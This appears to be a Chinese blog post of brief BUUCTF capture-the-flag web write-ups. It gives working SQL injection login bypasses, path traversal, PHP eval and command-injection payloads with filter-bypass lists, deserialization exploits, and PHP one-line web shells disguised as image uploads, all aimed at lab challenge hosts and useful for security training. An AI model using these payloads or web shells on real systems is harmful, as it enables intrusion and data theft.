BUUCTF-web

[第二章 web进阶]SSRF Training(URLs)

payload:http://a:@127.0.0.1:80@baidu.com/flag.php

[极客大挑战 2019]EasySQL(SQL注入)

2d2e5be7-2a7d-41cd-9345-a7d45b8d42aa.node4.buuoj.cn:81/check.php
?username=' or 1='1&password=' or 1='1

常见的万能密码:

’ or 1=‘1
‘or’=‘or’
admin
admin’–
admin’ or 4=4–
admin’ or ‘1’=‘1’–
admin888
"or “a”="a
admin’ or 2=2#
a’ having 1=1#
a’ having 1=1–
admin’ or ‘2’=‘2
‘)or(‘a’=‘a
or 4=4–
c
a’or’ 4=4–
"or 4=4–
‘or’a’=‘a
“or”="a’=‘a
‘or’’=’
‘or’=‘or’
1 or ‘1’=‘1’=1
1 or ‘1’=‘1’ or 4=4
‘OR 4=4%00
"or 4=4%00
‘xor
admin’ UNION Select 1,1,1 FROM admin Where ‘’=’
1
-1%cf’ union select 1,1,1 as password,1,1,1 %23
1
17…admin’ or ‘a’='a 密码随便
‘or’=‘or’
‘or 4=4/*
something
’ OR ‘1’=‘1
1’or’1’=‘1
admin’ OR 4=4/*
1’or’1’='1

[HCTF 2018]WarmUp(文件读取/包含)

(1)打开网址,发现只有一个图片,查看源码,发现有一个source.php 在这里插入图片描述
(2)输入/source.php,打开发现网页代码,又发现了一个hint.php
在这里插入图片描述
(3)输入/hint.php,再次打开发现提示,flag在ffffllllaaaagggg中
在这里插入图片描述
(4)发现是文件包含,然后查看即可,输入

URL/?file=hint.php?/../../../../ffffllllaaaagggg
//URL是题目网址

[极客大挑战 2019]Havefun

(1)查看码源发现代码

<!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
-->

(2)发现GET cat=dog 时,可以获取flag,输入

ee95f70c-ecb4-4c79-8f7a-4ff8eb878fae.node4.buuoj.cn:81/?cat=dog

[RoarCTF 2019]Easy Calc(WAF+var_dump)

分析题目:查看码源之后呢,发现有一个calc.php,还提示说WAF,百度查看WAF是不允许num传入字母,但php在解析的时候,会先把空格给去掉,那可以在num前加个空格来绕过WAF。

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

(1)用scandir()列出参数目录 中的文件和目录,也就是是scandir(“/”),但是“/”被过滤了,所以用chr(“47”)绕过,发现flag文件。
输入:

node4.buuoj.cn:25749/calc.php? num=1;var_dump(scandir(chr(47)))
/*以下两种都可以
? num=print_r(scandir('/'));
? num=var_dump(scandir('/'));
*/

(2)发现有flagg,输入,获得flag

node4.buuoj.cn:25749/calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
/*
? num=print_r(scandir('/flagg'));
? num=var_dump(scandir('/flagg'));
*/

在这里插入图片描述

[极客大挑战 2019]Upload(文件上传)

1)上传:
GIF89a <script language='php'>@eval($_POST[1]);</script>2)修改:抓包修改为 phtml ,并且修改Content-Type: image/png
(3)访问:/upload/one.phtml
(4)POST:1=system('ls /');
		  1=system('cat .flag');

[SUCTF 2019]CheckIn(文件上传)

1)上传shell.png:
	GIF89a
	auto_prepend_file="shell.png"2)上传.user.ini:
	GIF89a
	<script language='php'>@eval($_POST[1]);</script>
	//先以png格式上传,后再抓包删除 .png3)访问:http://2d2e3c0d-59b3-40cf-a8e3-f594a7c0f55d.node4.buuoj.cn:81
/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php
(4)连接蚁剑

[NPUCTF2020]ReadlezPHP(反序列化)

(1)查看码源,发现有一个/time.php?source点击去发现代码

<?php
#error_reporting(0);
class HelloPhp{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    die(0);
}
@$ppp = unserialize($_GET["data"]);

(2)反序列化:

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
		$this->a="phpinfo()";
        $this->b="assert";
    }
}
$c = new HelloPhp();
echo serialize($c);
?>
//得出:O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

(3)访问:/time.php?data=O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;},查找flag。

[ACTF2020 新生赛]BackupFile(文件备份)

(1)看了一眼题目,是备份文件,一般有 /index.php.bak,www.zip,/.bak,试了一下是/index.php.bak
(2)下载之后,打开发现key=123即可获得flag。

[极客大挑战 2019]BuyFlag(字符绕过+长度)

(1)根据页面提示发现flag要支付购买,点击购买页面发现有一个pay.php,查看源码,要POST money和password

	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
//money=100000000&password=404

(2)直接POST会提示错误,因为身份不对,抓包分析,当Cookie:user=0时,身份错误,所以修改为1。
(3)继续提交发现,还是不对,password要不是数字,所以用password=404a绕过。
(4)继续提交发现,长度过长,所以用money=10e8绕过。
(5)获得flag。
在这里插入图片描述

[HCTF 2018]admin

直接登录,即可获得flag,如果失败的话,抓包试一下,修改登录身份即可。

[BJDCTF2020]Easy MD5(SQL注入+MD5)

(1)题目叫做md5,然后需要输入密码,输入ffifdyop

ffifdyop 字符串被MD5 哈希之后会面成276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6。
而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是1select * from ‘admin’ where password=‘’ or ‘6xxxxx’,形成了or 这么一个永真式 ,等价于万能密码。

(2)进入页面,提示“Do you like MD5?”,查看源码,需要GET a和b的值不相等且md5哈希后相等,用数组绕过/进制绕过,输入?a[]=1&b[]=2,进入下一个页面。
(3)再次查看源码,发现需要POST param1和param2的值不相等且md5哈希后相等,用数组绕过/进制绕过。POST:param1[]=1&param2[]=2,获取flag。

[ZJCTF 2019]NiZhuanSiWei(data、file伪协议+PHP反序列化)

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

(1)下面这句if是如果text=welcome to the zjctf的话,就执行下一步。但是有file_get_contents存在,用data伪协议绕过。

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
//payload: text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

(2)第二句if是如果file=useless.php,用file伪协议绕过。

if(preg_match("/flag/",$file))
//payload: file=php://filter/read=convert.base64-encode/resource=useless.php
//其实也不用,也可以直接是: file=useless.php

(3)用反序列话,运行脚本,最终的payload。

$password = unserialize($password);

脚本:

<?php  
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
echo serialize($a);
?>

(4)最后的payload,查看源码,获得flag。

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[MRCTF2020]你传你🐎呢(.htaccess+文件上传)

(1)这题是文件上传,先上传 .png 格式,发现是可以的。再试试上传 .php,发现不可以,但是 .php… 就可以,但是蚁剑连接失败。
(2)百度之后,用 .htaccess可以实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
(3)上传 .htaccess (没有后缀哦)

<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

(4)上传一句话木马,叫1.png(与上面同名)

<?=@eval($_POST[1])?>

(5)连接蚁剑,获取flag。

[GXYCTF2019]Ping Ping Ping(命令执行)

?ip=127.0.0.1;1)输入后发现有应答
?ip=127.0.0.1;ls;2)查询目录
?ip=127.0.0.1;cat flag.php;
//查询失败,过滤了空格
?ip=127.0.0.1;cat$IFS$flag.php;
//失败,过滤了flag
?ip=127.0.0.1;b=a;cat$IFS$fl$bg.php
//获得flag
绕过cat 用 tac more less head tac tail nl od(二进制查看) vi vim sort uniq
绕过空格用 %09  <>   ${IFS}    $IFS$9   {cat,fl*}   %20
绕过flag用 f*
绕过 ; 用 ?>

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值